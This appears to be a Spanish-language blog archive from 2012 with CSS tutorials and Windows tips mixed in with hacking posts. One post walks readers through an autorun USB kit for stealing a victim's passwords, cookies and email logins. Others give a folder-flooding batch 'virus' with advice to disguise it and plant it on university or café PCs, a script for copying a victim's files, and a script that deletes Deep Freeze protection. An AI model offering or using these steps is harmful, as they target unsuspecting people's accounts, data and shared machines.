El software permite la conversión de coordenadas geográficas (Lat. y Long.) Para la colocación correcta de los datos en los programas de ordenador, o para la determinación de los parámetros sísmicos de conformidad con la ley.

Convertir: Grados, minutos y segundos – Grados, minutos decimales – Grados decimales.

Bibliotecas Requerida: Framework 3.5 – Windows XP sistema operativo, Vista, 7.

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro

Gracias a: www.geologi.it

Roba contraseñas de una PC a traves de tu Pendrive

2012-01-25T17:38:00.000-08:00

Como el titulo lo dice este progama lo que es robar todo tipo de informacion de la PC victima... lo que tenemos que hacer es cargar unos archivos a nuestro Pendrive o dispositivo USB y al meterlo en la PC victima automáticamente captura toda la info posible.... como por ejemplo:

toda clase de contraseñas del navegador web hi5,myspace, e incluso de foros..
historial de navegacion completo ( para darte cuenta del perfil de la victima y o amiga )
cookies esto sabran mis amigos mas experimentados para lo que sirve
los clientes de correo tales como msn , yahoo, gmail y demas
toda la informacion de su hardware e ips
los puertos abiertos recientemente
licencias de los programas que tiene (incluidos windows ,adobe y demas)

1.- descargas el archivo lo descomprimes y cortas todos los archivos (excepto el txt esas son las instrucciones que les puse) luego abres tu usb y pegas los 5 quedandote asi:

tambien puedes meter otros archivos en la usb o ponerlos como ocultos para no levantar sospechas

nota: al momento de descargar y descomprimir te lo maracara como archivo peligroso es natural pues tiene el autorun pero no te preocupes no es peligroso para ti ...

2.- una vez preparado con tu llave de los secretos(tu usb) llegas a cualquier cyber o casa de amigo o novia o cualquier victima que le traigas ganas y bajo cualquier pretexto le insertas la usb esperas 10 segundos aprox o mas y la sacas ojo nunca abras ninguna de las 5 carpetas por que si no la cagaras te mandara un mensaje de deteccion el antivirus asi que mejor dejalo asi

3.- llegas tranquilamente a tu pc y revisas la carpeta de tu usb llamada 'dump' observaras una carpeta con el nombre de la pc victima y dentro de ella ordenaditos varios archivos html revisas los archivos y veras lo que tienes a tu disposicion

100 % garantizado y probado aca las pruebas...

exploremos una carpeta aunque omitire las contraseñas y parte del correo por razones obvias

Descargar

Mejora la apariencia de los checkbox con CSS3 y JQuery

2012-01-24T19:39:00.000-08:00

Asi como en ejemplos anteriores mostramos como mejorar la apariencia de nuestros textbox, les mostrare como mejorar la apariencia de nuestros checkboxes de nuestras paginas web con algunas lines de codigo CSS/CSS3 y JQuery.

El ejemplo de arriba es un ejemplo de un simple checkbox con CSS. Este tipo de checkbox es usado por Twitter y Google y es parte del Bootstrap Framework (Prepended checkbox) de Twitter. Simplemente lo he modificado para mi uso personal y lo he usado de un modo diferente. Aqui estan los codigos para el checkbox.
En HTML:

El CSS para el checkbox por defecto:

.checky{
   width: auto;
   min-width: 16px;
   height: 18px;
  padding: 4px;
  margin-right: -1px;
   font-weight: normal;
   line-height: 18px;
  text-align: center;
  -webkit-border-radius: 3px;
   -moz-border-radius: 3px;
   border-radius: 3px;
   background: #dddfff;
   border: 1px solid #aaa;
 color: #bfbfbf;
 text-shadow: 0 1px 0 #ffffff;
}

El CSS para el checkbox marcado:

.greeny{
  background: #a9dba9;
  border-color: #46a546;
}

Aqui estan las lineas del JQuery:

$(document).ready(function(){
    $('.checky :checkbox').click(function () {
    if ($(this).attr('checked')) {
      $(this).parents('.checky').addClass('greeny')
    }
     else {
      $(this).parents('.checky').removeClass('greeny')
    }    
    })/******* Fix for Firefox and some other browsers *****/$(":checkbox:checked").each(
        function() {
           $(this).parents('.checky').addClass('greeny');
        }
    ); 
})

El ejemplo completo pueden bajarlo aqui (aprovechen antes que se apruebe la Ley SOPA):

Descargar aqui

Pruebenlo en Chrome creo que en algunas versiones de Explorer no resulta o pide habilitar Javascript, no lo probe en todos los navegadores pero Chrome si lo soporta.

Efecto iluminacion en enlaces con CSS3

2012-01-24T18:37:00.000-08:00

Un sencillo ejemplo de como simular un efecto de “iluminacion” sobre una tipografía en CSS3, sin utilizar imágenes. Para ello utilizamos principalmente text-shadow para dar resplandor al texto, text-fill-color para colorear el interior del texto, text-stroke-color para el color del borde exterior, y text-stroke-width para el ancho del borde.

decidi hacerlo sobre un vinculo y que al pasar el mouse el texto cambie y se vea como la imagen, este codigo es el que tienen que poner:

ahora si quieren que un enlace tenga este efecto pongan el enlace de esta forma:

Iluminate

Lo probe en Chrome y si funciona si no les aparece en el Explorer no es porque el ejemplo este mal, algunas versiones de Explorer aun no muestran la propiedad text-shadow

Activar desactivar modo de prueba en windows 7

2012-01-24T11:58:00.000-08:00

Para cuando sale en la esquina inferior derecha del escritorio, justo encima del reloj, hay una marca de agua que dice textualmente:

Modo de prueba

Windows 7

Compilacion 7600

Iniciar Windows 7 en "modo de prueba" permite utilizar controladores "con firma de prueba". Si HP entrega sus sistemas con este modo activado, puede ser que sea necesario para que funcione alguno de sus controladores.
Qué es el Modo de prueba (extraído de un artículo de Microsoft Technet):
"Para instalar y comprobar controladores con firma de prueba en sistemas operativos de 64 bits, se debe establecer la configuración de arranque de Windows en modo de prueba (utilizando BCDEdit en el equipo de destino). El modo de prueba comprueba que la imagen de controlador está firmada, pero la validación de la ruta de certificado no requiere que el emisor esté configurado como una entidad de certificación raíz de confianza. Sin embargo, para asegurarse de que se trata correctamente el controlador en la instalación de controlador PnP y en la lógica de clasificación, el certificado de prueba debe almacenarse en el almacén de certificados de confianza de la imagen de sistema operativo."
Para obtener más información acerca del modo de prueba durante el desarrollo, visite este sitio web de Microsoft (puede estar en inglés):

Arreglar y formatear un pendrive con la consola de Windows

2012-01-24T11:46:00.000-08:00

Seguro que alguna vez os habeis encontrado con un pendrive que se os resiste a formatear o que después de haberlo utilizado para bootear un Live CD os ha creado una partición que no se puede eliminar desde el Administrador de discos de Windows. Pues esto mismo me ha pasado a mi y despues de darle muchas vueltas he logrado solucionarlo con Diskpart.

Que es Diskpart?
Diskpart un programa que solo existe en los PC que tengan instalado Windows 7 o Vista.

Utilización de Dispark

Abrimos

C:\WINDOWS\system32\cmd.exe

damos click derecho ejecutar como administrador.
Una vez en el símbolo del sistema escribimos:
diskpart
list disk
-NOTA: fijaros que numero es el pendrive mirando los GB de este y no metais la pata porque lo vais a formatear.
select disk x (x=numero de tu pendrive sin los parentesis)
clean
create partition primary
format fs=NTFS quick
assign
exit
-NOTA:
Si el pen tiene 4GB o menos podeis poner fs=fat32 ó fs=fat
También se puede utilizar en HDD que se nos resistan a formatear.
...Y ya está, arreglado

Script batch para eliminar tareas

2012-01-22T17:01:00.000-08:00

Este batch es para eliminar tareas, solo escriban el nombre del proceso y WALAAAAAAAAA

@echo off
REM By P43L0
mode con cols=60
mode con lines=25
title MataTareas v1.0
cls
color 0c
echo Escribe el proceso a finalizar..
set /p context=
taskkill /im %context% /f
tskill /im %context% /f
ping 1,0 localhost > nul
exit

Script batch para crear carpetas sin parar

2012-01-22T16:59:00.000-08:00

Los archivos Batch son el camino mas sencilla para crear un simple virus, que puede variar en sus efectos dependiendo de la complejidad en el codigo. Puede bloquear el sistema operativo, eliminar archivos importantes del sistema o incluso formatear el disco duro sin el consentimiento del usuario. Lo que voy a poner abajo es un script simple para empezar con un ejemplo de batch:

open the notepad and type the follwing code:

:435
md d
cd d
goto :435

Guardenlo como virus.bat en el escritorio.
El virus esta listo, solo dale doble click en el para que veas que pasa.
Si quieren mejorar aun mas este bath, pueden descargar un programa para convertir archivos bat en exe, cambiar el icono, y ponerle el nombre de algun programa conocido como Camtasia.
Y ahora su script esta listo para ser ejecutado

Ahora este archivo podrian ponerlo en el escritorio de alguna PC de la universidad o en algun cyber :)

Script batch para buscar archivos

2012-01-22T16:48:00.000-08:00

Ahora este codigo es para buscar archivos del cual no os acordamos donde estan, pero si sabemos el nombre, tambn puede ser archivos ocultos de virus!
Le das un nombre de un archivo o carpeta y te lo busca en particiones y carpetas que encuentre.
Para poder ejecutarlo, copien el codigo de abajo y peguenlo en el bloc de notas, lo modifican si gustan y lo guardan con cualquier nombre pero con la extension .bat, ya cuando lo guardan lo ejecutan.

@echo off
:inicio
set /p archivo=">>"
set n=A D E F G H I J K L M N O P Q R S T U V W X Y Z B C
if not defined archivo goto inicio
FOR %%F IN (%n%) DO (IF exist %%F: (FOR /R %%a %%F: IN (.) DO (tree %%a | find %archivo% && msg el archivo esta en %%a &goto inicio) else (msg no hay disco duros o pendrive &goto inicio)

Script batch para robar datos

2012-01-22T16:43:00.000-08:00

El siguiente code es para robar datos, documentos etc. nomas pongale la ruta de origen y el destino es sencillo nomas 30 segs a solas en la Pc de la victima y ya! lo hize por beneficio propio talves les sirva a ustedes alli les dejo

@echo off
Title Copiador de Archivos by Shesomaru
color 8e
set/p preg= Escribe aqui el origen (Entre " "):
cls
set/p preg1=Deja aqui el destino (Entre " "):
cls
copy %preg% %preg1% /v
pause>nul
exit

Script batch para eliminar deep freeze

2012-01-22T16:38:00.000-08:00

Bueno ahi vamos...
Veran... este codigo que viene a continuacion es para eliminar el molesto deep freeze de los cybers, ps a mi me incomoda, porque me gusta dejar algo guardado siempre (Doc, pics, movies,)

Con el siguiente codigo lo eliminan!

@echo off
cls
cd "ARCHIV~1"
cd "C:\Archivos de programa\HyperTechnologies\Deep Freeze_$Df"
net stop "FrzState2k.exe"
Taskkill /f /IM FrzState2k.exe /IM FrzState2k.exe /IM FrzState2k.exe /IM FrzState2k.exe
cd "C:\Archivos de programa\HyperTechnologies\Deep Freeze_$Df"
attrib -H -S -R *.*
del /s /q *.*
cd "C:\Archivos de programa:\HyperTechnologies\Deep Freeze"
net stop "DFServEx.exe"
Taskkill /f /IM DFServEx.exe /IM DFServEx.exe /IM DFServEx.exe /IM DFServEx.exe
cd "C:\Archivos de programa\HyperTechnologies\Deep Freeze"
attrib -H -S -R *.*
del /s /q *.*
)
exit

CSS: Texto con sombra usando text-shadow + Shadow Filter

2012-01-21T19:16:00.000-08:00

Ahora que la mayoría de los navegadores soportan la propiedad text-shadow de CSS3, vamos a ver cómo usarla para crear un interesante efecto de sombra en los textos.
La propiedad text-shadow está soportada en las versiones actuales de Firefox, Chrome, Safari y Opera. En cambio, no es así en Internet Explorer 8, por lo que usaremos Shadow Filter para que también se muestren las sombras en este navegador.
Por otra parte, aunque en la reciente Preview de Internet Explorer 9 que nos ha mostrado Microsoft todavía no se soporta esta propiedad, esperemos que la versión final sí la soporte y podamos usar una única propiedad text-shadow para todos los navegadores.
Para usar este efecto de sombra, añadimos a nuestra hoja de estilos una clase llamada “shadow”, en la que se definen las dos propiedades:

.shadow {
text-shadow:#666666 3px 3px 3px;
filter: progid:DXImageTransform.Microsoft.Shadow(color='#666666', Direction=135, Strength=4);
}

Si no tuviéramos una hoja de estilos en nuestra página web, podemos ponerla en el head de la siguiente manera:

Para aplicar la sombra a un texto dentro del contenido de la página ponemos por ejemplo:

Ejemplo de texto con sombra

Y este sería el resultado si le aplicamos la sombra a un texto con formato de título (h4):

Ejemplo de texto con sombra

Después podemos cambiar los valores de la sombra para que quede a nuestro gusto, sin olvidar que tendremos que hacer los cambios en las dos propiedades, intentando que la sombra sea similar en ambos navegadores.

Valores de text-shadow

Color de la sombra. (Ejemplo: #666666)

Desplazamiento de la sombra sobre el eje X. Relativo al texto; puede tomar valores negativos. (Ejemplo: 3px)

Desplazamiento de la sombra sobre el eje Y. Relativo al texto; puede tomar valores negativos. (Ejemplo: 3px)

Cantidad de efecto blur de la sombra. (Ejemplo: 3px)

Más información sobre text-shadow aquí y aquí.

Atributos de Shadow Filter
Color de la sombra (Ejemplo: color=’#666666′)

Dirección de la sombra, en grados. Sólo puede tomar los valores: 0, 45, 90, 135, 180, 225, 270, 315. (Ejemplo: Direction=135)

Extensión de la sombra, en píxeles. (Ejemplo: Strength=4)

Más información sobre Shadow Filter aquí.